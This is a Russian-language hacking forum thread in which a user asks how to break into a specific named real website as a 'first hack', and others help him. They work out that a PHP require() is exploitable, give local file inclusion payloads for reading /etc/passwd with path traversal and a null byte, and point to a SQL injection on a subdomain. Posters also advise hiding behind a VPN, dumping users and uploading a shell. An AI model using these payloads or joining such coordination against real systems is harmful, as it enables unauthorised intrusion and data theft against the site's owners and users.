первый взлом?

[mss-s]

есть сайт, есть ошибка


Fatal error: require() [function.require]: Failed opening required 'articles/phpinfo/text.htm' (include_path='.:/usr/local/share/pear') in /pub/home/teplotex/htdocs/fedorov/site/index.php on line 115



вот вопросы

как я понимаю это пхп инклуд ?
возможно залить шелл?
поскольку это моя первая попытка взломать сайт, то что нужно предпринять в первую очереди перед взломом ?

[diznt]

то что нужно предпринять в первую очереди перед взломом ?

читать статьи бля

что за линк? так просто не скажешь

[fl00der]

Пока токо раскрытие путей

[Qwazar]

Какой запрос шлёшь то?

[mss-s]

index.php?id=blabla

[m0Hze]

это не инклуд

[mss-s]

http://www.warlib.ru/index.php?id=phpinfo

[D1mOn]

Там код такой
require("articles/".$id."/text.html");
Врядли что заинклюдится мне кажется.

[kyzmi4]

первым делом надо одень презерватив на свой компьютер =\

[ReduKToR]

kyzmi4,или носки......на кройняк ВПН

http://top.warlib.ru/index.php?cid=11'
дальше сам ???

[ReduKToR]

чо молчите? все ломают?
кто шелл зальет скажите...самому времени нет

[eLWAux]

http://www.warlib.ru/index.php?id=phpinfo
Failed opening required 'articles/phpinfo/text.htm

.. require('articles/'.$_GET['id'].'/text.html'); ..
максимум - локальная читалка

пробуй:
/index.php?id=/etc/passwd%00

[Qwazar]

http://www.warlib.ru/index.php?id=phpinfo
Failed opening required 'articles/phpinfo/text.htm

.. require('articles/'.$_GET['id'].'/text.html'); ..
максимум - локальная читалка

пробуй:
/index.php?id=/etc/passwd%00 Не совсем так, пробуй: /index.php?id=../../../../../../../../../../etc/passwd%00

[попугай]

там магик квотес включены

[Qwazar]

Тогда отсекать как написано тут (я на серв не заходил): https://forum.antichat.ru/thread98525.html

[ReduKToR]

ракручивай скулю что на первой странице дал....узнавай ветку....выводи юзеров